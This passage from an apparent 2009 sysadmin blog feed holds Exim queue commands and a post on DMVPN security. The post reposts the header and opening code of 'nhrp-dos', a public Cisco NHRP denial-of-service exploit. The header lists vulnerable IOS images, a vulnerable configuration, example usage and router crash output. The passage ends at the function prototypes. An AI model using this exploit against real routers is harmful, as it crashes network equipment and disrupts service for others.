&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<p>Some userfull Exim command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>exim -bpmailq --- The mailq is relevant as it gives your the email IDs.
</span></span><span style="display:flex;"><span>exim -M emailIDforce delivery of one message
</span></span><span style="display:flex;"><span>exim -qf Force another queue run
</span></span><span style="display:flex;"><span>exim -qff
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Force another queue run and attempt to flush frozen messages
</span></span><span style="display:flex;"><span>exim -Mvl message IDView Log for message
</span></span><span style="display:flex;"><span>exim -Mvb message IDView Body for message
</span></span><span style="display:flex;"><span>exim -Mvh message IDView Header for message
</span></span><span style="display:flex;"><span>exim -Mrm message IDReMove message (no errors sent)
</span></span><span style="display:flex;"><span>exim -Mg message IDGive up and fail message, message bounces to sender
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>Watch - Exim Queue</title>
      <link>https://www.deepreflect.net/2009/09/16/watch-exim-queue/</link>
      <pubDate>Wed, 16 Sep 2009 02:13:35 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=715</guid> 
      <description>&lt;p&gt;Just in one line memo:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;# watch -n 5 &#39;exim -bp | exiqsumm |grep TOTAL&#39;&lt;/code&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Just in one line memo:</p>
<p><code># watch -n 5 'exim -bp | exiqsumm |grep TOTAL'</code></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cisco DMVPN/NBMA - Security</title>
      <link>https://www.deepreflect.net/2009/09/16/cisco-dmvpn-nbma-security/</link>
      <pubDate>Wed, 16 Sep 2009 01:54:46 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=708</guid> 
      <description>&lt;p&gt;I&amp;rsquo;m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.&lt;/p&gt;
&lt;p&gt;Now the problem: what about security?
especially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.&lt;/p&gt;
&lt;p&gt;Solution:
I&amp;rsquo;m thinking about&amp;hellip;&lt;/p&gt;
&lt;p&gt;Only for testing purpose, I find this exploit:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/******************************************************************************/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* nhrp-dos - Copyright by Martin Kluge, &amp;lt;mk@elxsi.de&amp;gt;                        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Feel free to modify this code as you like, as long as you include the      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* above copyright statement.                                                 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Please use this code only to check your OWN cisco routers.                 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Cisco bug ID: CSCin95836                                                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* subnetwork to determine the internetworking layer address and NBMA         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* subnetwork addresses of the NBMA next hop towards the destination.         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* IPSEC.                                                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* URLs:                                                                      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* - [RFC2332/NHRP]       http://rfc.net/rfc2332.html                         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* - [RFC1701/GRE]        http://rfc.net/rfc1701.html                         */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* - [DMVPNs with Cisco]  http://www.cisco.com/en/US/tech/tk583/tk372/techno  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                        logies_white_paper09186a008018983e.shtml            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* provided.                                                                  */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Vulnerable images (tested):                                                */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  - c7100-jk9o3s-mz.123-12e.bin                                             */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  - c7200-jk8o3s-mz.122-40.bin                                              */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  - c3640-js-mz.122-15.T17.bin                                              */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* (and many other IOS versions on different platforms)                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Vulnerable configuration on cisco IOS:                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* interface Tunnel0                                                          */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip address 10.0.0.1 255.255.255.128                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  no ip redirects                                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  no ip proxy-arp                                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip mtu 1464                                                               */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp authentication mysecret                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp network-id 1000                                                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp map multicast dynamic                                             */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp server-only                                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  ip nhrp holdtime 30                                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  tunnel source FastEthernet0/0                                             */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  tunnel mode gre multipoint                                                */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*  tunnel key 123456789                                                      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* This exploit works even if &amp;#34;ip nhrp authentication&amp;#34; is configured on the   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* cisco router. You can also specify a GRE key (use 0 to disable this        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* feature) if the GRE tunnel is protected. You don&amp;#39;t need to know the        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP network id (or any other configuration details, except the GRE key if */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* it is set on the target router).                                           */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NOTE: The exploit only seems to work, if a NHRP session between the target */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*       router and at least one client is established.                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Code injection is also possible (thanks to sky for pointing this out), but */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* it is not very easy and depends heavily on the IOS version / platform.     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Example:                                                                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Router console output:                                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* &amp;lt;snip&amp;gt;                                                                     */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Cause 00000024 (Code 0x9): Breakpoint exception                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Router reboots or sometimes hangs ;)                                       */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Workaround: Disable NHRP ;)                                                */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* I&amp;#39;d like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* regarding this issue.                                                      */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                   and #infiniteVOID                                        */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*                                                                            */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/******************************************************************************/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netdb.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;sys/ioctl.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;net/if.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netinet/in_systm.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;&amp;lt;netinet/ip.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* BSD */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define _BSD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Header sizes */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define IP_HDR_SIZE     20
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define GRE_HDR_SIZE    4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define GRE_KEY_SIZE    4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define NHRP_HDR_SIZE   62
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Function prototypes */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;open_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;close_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;send_dos&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt;);
